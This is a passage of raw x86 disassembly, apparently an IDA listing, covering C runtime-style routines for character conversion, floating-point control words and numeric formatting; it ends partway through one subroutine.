mov [ebp+var_18], esp
mov eax, dword_4DBB18
xor ebx, ebx
cmp eax, ebx
jnz short loc_423D5B
lea eax, [ebp+var_1C]
push eax
push 1
pop esi
push esi
push offset dword_427940
push esi
nop
call near ptr 27A006Ch
test eax, eax
jz short loc_423D39
mov eax, esi
jmp short loc_423D56
; ---------------------------------------------------------------------------
loc_423D39: ; CODE XREF: sub_423CEC+47j
lea eax, [ebp+var_1C]
push eax
push esi
push offset dword_4CB4DC
push esi
push ebx
call near ptr 27B0000h
nop
test eax, eax
jz loc_423E21
push 2
pop eax
loc_423D56: ; CODE XREF: sub_423CEC+4Bj
mov dword_4DBB18, eax
loc_423D5B: ; CODE XREF: sub_423CEC+2Fj
cmp eax, 2
jnz short loc_423D84
mov eax, [ebp+arg_14]
cmp eax, ebx
jnz short loc_423D6C
mov eax, dword_4DB9E4
loc_423D6C: ; CODE XREF: sub_423CEC+79j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
nop
call near ptr 27B0000h
jmp loc_423E23
; ---------------------------------------------------------------------------
loc_423D84: ; CODE XREF: sub_423CEC+72j
cmp eax, 1
jnz loc_423E21
cmp [ebp+arg_10], ebx
jnz short loc_423D9A
mov eax, dword_4DB9F4
mov [ebp+arg_10], eax
loc_423D9A: ; CODE XREF: sub_423CEC+A4j
push ebx
push ebx
push [ebp+arg_8]
push [ebp+arg_4]
mov eax, [ebp+arg_18]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_10]
call near ptr 29D0000h
nop
mov [ebp+var_20], eax
cmp eax, ebx
jz short loc_423E21
mov [ebp+var_4], ebx
lea edi, [eax+eax]
mov eax, edi
add eax, 3
and al, 0FCh
call sub_41BB20
mov [ebp+var_18], esp
mov esi, esp
mov [ebp+var_24], esi
push edi
push ebx
push esi
call sub_41B590
add esp, 0Ch
jmp short loc_423DF0
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor esi, esi
loc_423DF0: ; CODE XREF: sub_423CEC+F7j
or [ebp+var_4], 0FFFFFFFFh
cmp esi, ebx
jz short loc_423E21
push [ebp+var_20]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push 1
push [ebp+arg_10]
call near ptr 29D0000h
nop
cmp eax, ebx
jz short loc_423E21
push [ebp+arg_C]
push eax
push esi
push [ebp+arg_0]
nop
call near ptr 27A006Ch
jmp short loc_423E23
; ---------------------------------------------------------------------------
loc_423E21: ; CODE XREF: sub_423CEC+61j
; sub_423CEC+9Bj ...
xor eax, eax
loc_423E23: ; CODE XREF: sub_423CEC+93j
; sub_423CEC+133j
lea esp, [ebp-34h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_423CEC endp
; =============== S U B R O U T I N E =======================================
sub_423E35 proc near ; CODE XREF: sub_41F58A+61p
; sub_420446+8p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_4DCD80
jb short loc_423E44
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_423E44: ; CODE XREF: sub_423E35+Aj
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_4DCC80[ecx*4]
mov al, [ecx+eax*8+4]
and eax, 40h
retn
sub_423E35 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423E5B proc near ; CODE XREF: sub_41F69F+2D4p
; sub_41F69F+6B3p
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
test eax, eax
jnz short loc_423E67
pop ebp
retn
; ---------------------------------------------------------------------------
loc_423E67: ; CODE XREF: sub_423E5B+8j
cmp dword_4DB9E4, 0
jnz short loc_423E82
mov cx, [ebp+arg_4]
cmp cx, 0FFh
ja short loc_423EB4
push 1
mov [eax], cl
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_423E82: ; CODE XREF: sub_423E5B+13j
lea ecx, [ebp+arg_0]
and [ebp+arg_0], 0
push ecx
push 0
push dword_43CBB4
push eax
lea eax, [ebp+arg_4]
push 1
push eax
push 220h
push dword_4DB9F4
nop
call near ptr 29C1170h
test eax, eax
jz short loc_423EB4
cmp [ebp+arg_0], 0
jz short loc_423EC1
loc_423EB4: ; CODE XREF: sub_423E5B+1Ej
; sub_423E5B+51j
mov dword_4DB928, 2Ah
or eax, 0FFFFFFFFh
loc_423EC1: ; CODE XREF: sub_423E5B+57j
pop ebp
retn
sub_423E5B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423EC3 proc near ; CODE XREF: sub_420510+6A3p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
cmp esi, ebx
jz short loc_423EE6
cmp [ebp+arg_8], ebx
jz short loc_423EE6
mov al, [esi]
cmp al, bl
jnz short loc_423EEC
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_423EE6
mov [eax], bx
loc_423EE6: ; CODE XREF: sub_423EC3+Cj
; sub_423EC3+11j ...
xor eax, eax
loc_423EE8: ; CODE XREF: sub_423EC3+42j
; sub_423EC3+86j ...
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_423EEC: ; CODE XREF: sub_423EC3+17j
cmp dword_4DB9E4, ebx
jnz short loc_423F07
mov ecx, [ebp+arg_0]
cmp ecx, ebx
jz short loc_423F02
movzx ax, al
mov [ecx], ax
loc_423F02: ; CODE XREF: sub_423EC3+36j
; sub_423EC3+C0j
push 1
pop eax
jmp short loc_423EE8
; ---------------------------------------------------------------------------
loc_423F07: ; CODE XREF: sub_423EC3+2Fj
mov ecx, off_43C9A8
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_423F64
mov eax, dword_43CBB4
cmp eax, 1
jle short loc_423F4B
cmp [ebp+arg_8], eax
jl short loc_423F55
xor ecx, ecx
cmp [ebp+arg_0], ebx
setnz cl
push ecx
push [ebp+arg_0]
push eax
push esi
push 9
push dword_4DB9F4
call near ptr 29D0000h
nop
test eax, eax
mov eax, dword_43CBB4
jnz short loc_423EE8
loc_423F4B: ; CODE XREF: sub_423EC3+5Cj
cmp [ebp+arg_8], eax
jb short loc_423F55
cmp [esi+1], bl
jnz short loc_423EE8
loc_423F55: ; CODE XREF: sub_423EC3+61j
; sub_423EC3+8Bj ...
mov dword_4DB928, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_423EE8
; ---------------------------------------------------------------------------
loc_423F64: ; CODE XREF: sub_423EC3+52j
xor eax, eax
cmp [ebp+arg_0], ebx
setnz al
push eax
push [ebp+arg_0]
push 1
push esi
push 9
push dword_4DB9F4
call near ptr 29D0000h
nop
test eax, eax
jnz loc_423F02
jmp short loc_423F55
sub_423EC3 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_423F90 proc near ; CODE XREF: sub_420510+797p
; sub_420510+7E7p
cmp cl, 40h
jnb short loc_423FAA
cmp cl, 20h
jnb short loc_423FA0
shld edx, eax, cl
shl eax, cl
retn
; ---------------------------------------------------------------------------
loc_423FA0: ; CODE XREF: sub_423F90+8j
mov edx, eax
xor eax, eax
and cl, 1Fh
shl edx, cl
retn
; ---------------------------------------------------------------------------
loc_423FAA: ; CODE XREF: sub_423F90+3j
xor eax, eax
xor edx, edx
retn
sub_423F90 endp
; =============== S U B R O U T I N E =======================================
sub_423FAF proc near ; CODE XREF: sub_420F86+Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_0]
cmp ebx, 0FFFFFFFFh
push esi
jz short loc_423FFB
mov esi, [esp+8+arg_4]
mov eax, [esi+0Ch]
test al, 1
jnz short loc_423FCD
test al, 80h
jz short loc_423FFB
test al, 2
jnz short loc_423FFB
loc_423FCD: ; CODE XREF: sub_423FAF+14j
cmp dword ptr [esi+8], 0
jnz short loc_423FDA
push esi
call sub_4239EF
pop ecx
loc_423FDA: ; CODE XREF: sub_423FAF+22j
mov eax, [esi]
cmp eax, [esi+8]
jnz short loc_423FEA
cmp dword ptr [esi+4], 0
jnz short loc_423FFB
inc eax
mov [esi], eax
loc_423FEA: ; CODE XREF: sub_423FAF+30j
test byte ptr [esi+0Ch], 40h
jz short loc_424001
dec dword ptr [esi]
mov eax, [esi]
cmp [eax], bl
jz short loc_424007
inc eax
mov [esi], eax
loc_423FFB: ; CODE XREF: sub_423FAF+9j
; sub_423FAF+18j ...
or eax, 0FFFFFFFFh
loc_423FFE: ; CODE XREF: sub_423FAF+6Cj
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_424001: ; CODE XREF: sub_423FAF+3Fj
dec dword ptr [esi]
mov eax, [esi]
mov [eax], bl
loc_424007: ; CODE XREF: sub_423FAF+47j
mov eax, [esi+0Ch]
inc dword ptr [esi+4]
and al, 0EFh
or al, 1
mov [esi+0Ch], eax
mov eax, ebx
and eax, 0FFh
jmp short loc_423FFE
sub_423FAF endp
; =============== S U B R O U T I N E =======================================
sub_42401D proc near ; CODE XREF: sub_421576+52p
xor eax, eax
retn
sub_42401D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424020 proc near ; CODE XREF: sub_424055+Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
fstcw word ptr [ebp+var_4]
push [ebp+var_4]
call sub_42406B
mov esi, eax
mov eax, [ebp+arg_4]
not eax
and esi, eax
mov eax, [ebp+arg_0]
and eax, [ebp+arg_4]
or esi, eax
push esi
call sub_4240FD
pop ecx
mov [ebp+arg_4], eax
pop ecx
fldcw word ptr [ebp+arg_4]
mov eax, esi
pop esi
leave
retn
sub_424020 endp
; =============== S U B R O U T I N E =======================================
sub_424055 proc near ; CODE XREF: sub_421862+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
and eax, 0FFF7FFFFh
push eax
push [esp+4+arg_0]
call sub_424020
pop ecx
pop ecx
retn
sub_424055 endp
; =============== S U B R O U T I N E =======================================
sub_42406B proc near ; CODE XREF: sub_424020+Cp
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push ebp
test bl, 1
push edi
jz short loc_42407C
push 10h
pop eax
loc_42407C: ; CODE XREF: sub_42406B+Cj
test bl, 4
jz short loc_424083
or al, 8
loc_424083: ; CODE XREF: sub_42406B+14j
test bl, 8
jz short loc_42408A
or al, 4
loc_42408A: ; CODE XREF: sub_42406B+1Bj
test bl, 10h
jz short loc_424091
or al, 2
loc_424091: ; CODE XREF: sub_42406B+22j
test bl, 20h
jz short loc_424098
or al, 1
loc_424098: ; CODE XREF: sub_42406B+29j
test bl, 2
jz short loc_4240A2
or eax, 80000h
loc_4240A2: ; CODE XREF: sub_42406B+30j
movzx ecx, bx
push esi
mov edx, ecx
mov esi, 0C00h
mov edi, 300h
and edx, esi
mov ebp, 200h
jz short loc_4240DA
cmp edx, 400h
jz short loc_4240D7
cmp edx, 800h
jz short loc_4240D3
cmp edx, esi
jnz short loc_4240DA
or eax, edi
jmp short loc_4240DA
; ---------------------------------------------------------------------------
loc_4240D3: ; CODE XREF: sub_42406B+5Ej
or eax, ebp
jmp short loc_4240DA
; ---------------------------------------------------------------------------
loc_4240D7: ; CODE XREF: sub_42406B+56j
or ah, 1
loc_4240DA: ; CODE XREF: sub_42406B+4Ej
; sub_42406B+62j ...
and ecx, edi
pop esi
jz short loc_4240EA
cmp ecx, ebp
jnz short loc_4240EF
or eax, 10000h
jmp short loc_4240EF
; ---------------------------------------------------------------------------
loc_4240EA: ; CODE XREF: sub_42406B+72j
or eax, 20000h
loc_4240EF: ; CODE XREF: sub_42406B+76j
; sub_42406B+7Dj
pop edi
pop ebp
test bh, 10h
pop ebx
jz short locret_4240FC
or eax, 40000h
locret_4240FC: ; CODE XREF: sub_42406B+8Aj
retn
sub_42406B endp
; =============== S U B R O U T I N E =======================================
sub_4240FD proc near ; CODE XREF: sub_424020+23p
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push esi
test bl, 10h
jz short loc_42410D
push 1
pop eax
loc_42410D: ; CODE XREF: sub_4240FD+Bj
test bl, 8
jz short loc_424114
or al, 4
loc_424114: ; CODE XREF: sub_4240FD+13j
test bl, 4
jz short loc_42411B
or al, 8
loc_42411B: ; CODE XREF: sub_4240FD+1Aj
test bl, 2
jz short loc_424122
or al, 10h
loc_424122: ; CODE XREF: sub_4240FD+21j
test bl, 1
jz short loc_424129
or al, 20h
loc_424129: ; CODE XREF: sub_4240FD+28j
test ebx, 80000h
jz short loc_424133
or al, 2
loc_424133: ; CODE XREF: sub_4240FD+32j
mov ecx, ebx
mov edx, 300h
and ecx, edx
mov esi, 200h
jz short loc_424160
cmp ecx, 100h
jz short loc_42415D
cmp ecx, esi
jz short loc_424158
cmp ecx, edx
jnz short loc_424160
or ah, 0Ch
jmp short loc_424160
; ---------------------------------------------------------------------------
loc_424158: ; CODE XREF: sub_4240FD+50j
or ah, 8
jmp short loc_424160
; ---------------------------------------------------------------------------
loc_42415D: ; CODE XREF: sub_4240FD+4Cj
or ah, 4
loc_424160: ; CODE XREF: sub_4240FD+44j
; sub_4240FD+54j ...
mov ecx, ebx
and ecx, 30000h
jz short loc_424176
cmp ecx, 10000h
jnz short loc_424178
or eax, esi
jmp short loc_424178
; ---------------------------------------------------------------------------
loc_424176: ; CODE XREF: sub_4240FD+6Bj
or eax, edx
loc_424178: ; CODE XREF: sub_4240FD+73j
; sub_4240FD+77j
pop esi
test ebx, 40000h
pop ebx
jz short locret_424185
or ah, 10h
locret_424185: ; CODE XREF: sub_4240FD+83j
retn
sub_4240FD endp
; =============== S U B R O U T I N E =======================================
sub_424186 proc near ; CODE XREF: sub_424225+48p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
push 20h
cdq
pop ecx
idiv ecx
push 1Fh
mov esi, eax
mov eax, [esp+8+arg_4]
cdq
idiv ecx
pop ecx
mov eax, [esp+4+arg_0]
sub ecx, edx
or edx, 0FFFFFFFFh
shl edx, cl
not edx
test [eax+esi*4], edx
jnz short loc_4241CB
inc esi
cmp esi, 3
jge short loc_4241C6
lea eax, [eax+esi*4]
loc_4241B8: ; CODE XREF: sub_424186+3Ej
cmp dword ptr [eax], 0
jnz short loc_4241CB
inc esi
add eax, 4
cmp esi, 3
jl short loc_4241B8
loc_4241C6: ; CODE XREF: sub_424186+2Dj
push 1
pop eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_4241CB: ; CODE XREF: sub_424186+27j
; sub_424186+35j
xor eax, eax
pop esi
retn
sub_424186 endp
; =============== S U B R O U T I N E =======================================
sub_4241CF proc near ; CODE XREF: sub_424225+57p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push ebx
push esi
push edi
push 20h
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
idiv ecx
mov esi, eax
mov eax, [esp+0Ch+arg_4]
cdq
idiv ecx
lea edi, [ebx+esi*4]
push edi
push 1Fh
pop ecx
push 1
pop eax
sub ecx, edx
shl eax, cl
push eax
push dword ptr [edi]
call sub_425050
add esp, 0Ch
dec esi
js short loc_424221
lea edi, [ebx+esi*4]
loc_424208: ; CODE XREF: sub_4241CF+50j
test eax, eax
jz short loc_424221
push edi
push 1
push dword ptr [edi]
call sub_425050
add esp, 0Ch
dec esi
sub edi, 4
test esi, esi
jge short loc_424208
loc_424221: ; CODE XREF: sub_4241CF+34j
; sub_4241CF+3Bj
pop edi
pop esi
pop ebx
retn
sub_4241CF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424225 proc near ; CODE XREF: sub_424380+81p
; sub_424380+CCp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
lea edi, [eax-1]
push 20h
pop ecx
and [ebp+var_4], 0
lea ebx, [edi+1]
push 20h
mov eax, ebx
pop esi
cdq
idiv ecx
push 1Fh
mov ecx, eax
mov eax, ebx
cdq
idiv esi
mov eax, [ebp+arg_0]
pop esi
push 1
mov [ebp+var_8], ecx
lea eax, [eax+ecx*4]
mov [ebp+arg_4], eax
sub esi, edx
pop edx
mov ecx, esi
shl edx, cl
test [eax], edx
jz short loc_424289
inc ebx
push ebx
push [ebp+arg_0]
call sub_424186
pop ecx
test eax, eax
pop ecx
jnz short loc_424286
push edi
push [ebp+arg_0]
call sub_4241CF
pop ecx
mov [ebp+var_4], eax
pop ecx
loc_424286: ; CODE XREF: sub_424225+51j
mov eax, [ebp+arg_4]
loc_424289: ; CODE XREF: sub_424225+41j
or edx, 0FFFFFFFFh
mov ecx, esi
shl edx, cl
push 3
pop ecx
and [eax], edx
mov eax, [ebp+var_8]
inc eax
cmp eax, ecx
jge short loc_4242A9
mov edx, [ebp+arg_0]
sub ecx, eax
lea edi, [edx+eax*4]
xor eax, eax
rep stosd
loc_4242A9: ; CODE XREF: sub_424225+76j
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_424225 endp
; =============== S U B R O U T I N E =======================================
sub_4242B1 proc near ; CODE XREF: sub_424380+75p
; sub_424380+B6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push esi
push 3
sub ecx, eax
pop edx
loc_4242BF: ; CODE XREF: sub_4242B1+17j
mov esi, [eax]
mov [ecx+eax], esi
add eax, 4
dec edx
jnz short loc_4242BF
pop esi
retn
sub_4242B1 endp
; =============== S U B R O U T I N E =======================================
sub_4242CC proc near ; CODE XREF: sub_424380+5Fp
; sub_424380+9Ep ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor eax, eax
stosd
stosd
stosd
pop edi
retn
sub_4242CC endp
; =============== S U B R O U T I N E =======================================
sub_4242D8 proc near ; CODE XREF: sub_424380+4Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
loc_4242DE: ; CODE XREF: sub_4242D8+12j
cmp dword ptr [eax], 0
jnz short loc_4242F0
inc ecx
add eax, 4
cmp ecx, 3
jl short loc_4242DE
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_4242F0: ; CODE XREF: sub_4242D8+9j
xor eax, eax
retn
sub_4242D8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4242F3 proc near ; CODE XREF: sub_424380+C0p
; sub_424380+DAp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
push 20h
mov edi, [ebp+arg_0]
pop ebx
or esi, 0FFFFFFFFh
cdq
mov ecx, ebx
mov [ebp+var_4], 3
idiv ecx
mov [ebp+var_C], eax
mov eax, [ebp+arg_4]
cdq
idiv ecx
and [ebp+arg_4], 0
mov ecx, edx
shl esi, cl
sub ebx, edx
not esi
loc_424329: ; CODE XREF: sub_4242F3+58j
mov eax, [edi]
mov ecx, eax
and ecx, esi
mov [ebp+var_8], ecx
mov ecx, edx
shr eax, cl
or eax, [ebp+arg_4]
mov [edi], eax
mov eax, [ebp+var_8]
mov ecx, ebx
add edi, 4
shl eax, cl
dec [ebp+var_4]
mov [ebp+arg_4], eax
jnz short loc_424329
mov edi, [ebp+var_C]
push 2
pop ebx
mov esi, edi
push 8
pop ecx
shl esi, 2
loc_42435B: ; CODE XREF: sub_4242F3+86j
cmp ebx, edi
jl short loc_42436E
mov edx, [ebp+arg_0]
mov eax, ecx
sub eax, esi
mov eax, [eax+edx]
mov [ecx+edx], eax
jmp short loc_424375
; ---------------------------------------------------------------------------
loc_42436E: ; CODE XREF: sub_4242F3+6Aj
mov eax, [ebp+arg_0]
and dword ptr [ecx+eax], 0
loc_424375: ; CODE XREF: sub_4242F3+79j
dec ebx
sub ecx, 4
jns short loc_42435B
pop edi
pop esi
pop ebx
leave
retn
sub_4242F3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424380 proc near ; CODE XREF: sub_4244EC+Dp
; sub_424502+Dp
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
movzx ecx, word ptr [eax+0Ah]
mov ebx, ecx
and ecx, 8000h
mov [ebp+arg_0], ecx
mov ecx, [eax+6]
mov [ebp+var_C], ecx
mov ecx, [eax+2]
movzx eax, word ptr [eax]
mov edi, [ebp+arg_8]
and ebx, 7FFFh
sub ebx, 3FFFh
mov [ebp+var_8], ecx
shl eax, 10h
cmp ebx, 0FFFFC001h
mov [ebp+var_4], eax
jnz short loc_4243ED
lea eax, [ebp+var_C]
xor esi, esi
push eax
call sub_4242D8
test eax, eax
pop ecx
jnz loc_4244AC
lea eax, [ebp+var_C]
push eax
call sub_4242CC
pop ecx
loc_4243E5: ; CODE XREF: sub_424380+E4j
push 2
loc_4243E7: ; CODE XREF: sub_424380+110j
pop eax
jmp loc_4244AE
; ---------------------------------------------------------------------------
loc_4243ED: ; CODE XREF: sub_424380+45j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_18]
push eax
call sub_4242B1
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_424225
add esp, 10h
test eax, eax
jz short loc_42440E
inc ebx
loc_42440E: ; CODE XREF: sub_424380+8Bj
mov eax, [edi+4]
mov ecx, eax
sub ecx, [edi+8]
cmp ebx, ecx
jge short loc_424426
lea eax, [ebp+var_C]
push eax
call sub_4242CC
pop ecx
jmp short loc_424462
; ---------------------------------------------------------------------------
loc_424426: ; CODE XREF: sub_424380+98j
cmp ebx, eax
jg short loc_424469
sub eax, ebx
mov esi, eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_C]
push eax
call sub_4242B1
lea eax, [ebp+var_C]
push esi
push eax
call sub_4242F3
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_424225
mov eax, [edi+0Ch]
inc eax
push eax
lea eax, [ebp+var_C]
push eax
call sub_4242F3
add esp, 20h
loc_424462: ; CODE XREF: sub_424380+A4j
xor esi, esi
jmp loc_4243E5
; ---------------------------------------------------------------------------
loc_424469: ; CODE XREF: sub_424380+A8j
cmp ebx, [edi]
jl short loc_424495
lea eax, [ebp+var_C]
push eax
call sub_4242CC
push dword ptr [edi+0Ch]
or byte ptr [ebp+var_C+3], 80h
lea eax, [ebp+var_C]
push eax
call sub_4242F3
mov esi, [edi+14h]
add esp, 0Ch
add esi, [edi]
push 1
jmp loc_4243E7
; ---------------------------------------------------------------------------
loc_424495: ; CODE XREF: sub_424380+EBj
push dword ptr [edi+0Ch]
mov esi, [edi+14h]
and byte ptr [ebp+var_C+3], 7Fh
lea eax, [ebp+var_C]
push eax
add esi, ebx
call sub_4242F3
pop ecx
pop ecx
loc_4244AC: ; CODE XREF: sub_424380+55j
xor eax, eax
loc_4244AE: ; CODE XREF: sub_424380+68j
push 1Fh
pop ecx
sub ecx, [edi+0Ch]
mov edi, [edi+10h]
shl esi, cl
mov ecx, [ebp+arg_0]
neg ecx
sbb ecx, ecx
and ecx, 80000000h
or esi, ecx
or esi, [ebp+var_C]
cmp edi, 40h
jnz short loc_4244DD
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_8]
mov [ecx+4], esi
mov [ecx], edx
jmp short loc_4244E7
; ---------------------------------------------------------------------------
loc_4244DD: ; CODE XREF: sub_424380+14Ej
cmp edi, 20h
jnz short loc_4244E7
mov ecx, [ebp+arg_4]
mov [ecx], esi
loc_4244E7: ; CODE XREF: sub_424380+15Bj
; sub_424380+160j
pop edi
pop esi
pop ebx
leave
retn
sub_424380 endp
; =============== S U B R O U T I N E =======================================
sub_4244EC proc near ; CODE XREF: sub_424518+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_43D328
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_424380
add esp, 0Ch
retn
sub_4244EC endp
; =============== S U B R O U T I N E =======================================
sub_424502 proc near ; CODE XREF: sub_424545+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_43D340
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_424380
add esp, 0Ch
retn
sub_424502 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424518 proc near ; CODE XREF: sub_42199B+12p
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_4251F1
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_4244EC
add esp, 24h
leave
retn
sub_424518 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424545 proc near ; CODE XREF: sub_42199B+2Dp
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_4251F1
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_424502
add esp, 24h
leave
retn
sub_424545 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424572 proc near ; CODE XREF: sub_4219D9+65p
; sub_421ADD+63p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov ecx, [edx+0Ch]
push edi
lea edi, [esi+1]
mov byte ptr [esi], 30h
test ebx, ebx
mov eax, edi
jle short loc_4245AF
mov [ebp+arg_0], ebx
xor ebx, ebx
loc_424595: ; CODE XREF: sub_424572+38j
mov dl, [ecx]
test dl, dl
jz short loc_4245A1
movsx edx, dl
inc ecx
jmp short loc_4245A4
; ---------------------------------------------------------------------------
loc_4245A1: ; CODE XREF: sub_424572+27j
push 30h
pop edx
loc_4245A4: ; CODE XREF: sub_424572+2Dj
mov [eax], dl
inc eax
dec [ebp+arg_0]
jnz short loc_424595
mov edx, [ebp+arg_8]
loc_4245AF: ; CODE XREF: sub_424572+1Cj
and byte ptr [eax], 0
test ebx, ebx
jl short loc_4245C8
cmp byte ptr [ecx], 35h
jl short loc_4245C8
loc_4245BB: ; CODE XREF: sub_424572+52j
dec eax
cmp byte ptr [eax], 39h
jnz short loc_4245C6
mov byte ptr [eax], 30h
jmp short loc_4245BB
; ---------------------------------------------------------------------------
loc_4245C6: ; CODE XREF: sub_424572+4Dj
inc byte ptr [eax]
loc_4245C8: ; CODE XREF: sub_424572+42j
; sub_424572+47j
cmp byte ptr [esi], 31h
jnz short loc_4245D2
inc dword ptr [edx+4]
jmp short loc_4245E4
; ---------------------------------------------------------------------------
loc_4245D2: ; CODE XREF: sub_424572+59j
push edi
call sub_41AFE0
inc eax
push eax
push edi
push esi
call sub_41CC90
add esp, 10h
loc_4245E4: ; CODE XREF: sub_424572+5Ej
pop edi
pop esi
pop ebx
pop ebp
retn
sub_424572 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4245E9 proc near ; CODE XREF: sub_4219D9+3Fp
; sub_421ADD+46p ...
var_C = byte ptr -0Ch
arg_0 = byte ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
lea eax, [ebp+arg_0]
push edi
push eax
lea eax, [ebp+var_C]
push eax
call sub_42464D
pop ecx
lea esi, [ebp+var_C]
pop ecx
push offset word_4DBB20
push 0
push 11h
sub esp, 0Ch
mov edi, esp
movsd
movsd
movsw
call sub_4256C2
mov dword_4DBB48, eax
add esp, 18h
movsx eax, byte_4DBB22
mov dword_4DBB40, eax
pop edi
movsx eax, word_4DBB20
mov dword_4DBB44, eax
mov dword_4DBB4C, offset dword_4DBB24
mov eax, offset dword_4DBB40
pop esi
leave
retn
sub_4245E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42464D proc near ; CODE XREF: sub_4245E9+10p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_4]
push ebx
push esi
push edi
mov ax, [edx+6]
mov edi, 7FFh
mov ecx, eax
and eax, 8000h
shr ecx, 4
and ecx, edi
mov [ebp+arg_4], eax
mov eax, [edx+4]
mov edx, [edx]
movzx ebx, cx
mov esi, 80000000h
and eax, 0FFFFFh
test ebx, ebx
mov [ebp+var_4], esi
jz short loc_42469B
cmp ebx, edi
jz short loc_424694
lea edi, [ecx+3C00h]
jmp short loc_4246BC
; ---------------------------------------------------------------------------
loc_424694: ; CODE XREF: sub_42464D+3Dj
mov edi, 7FFFh
jmp short loc_4246BC
; ---------------------------------------------------------------------------
loc_42469B: ; CODE XREF: sub_42464D+39j
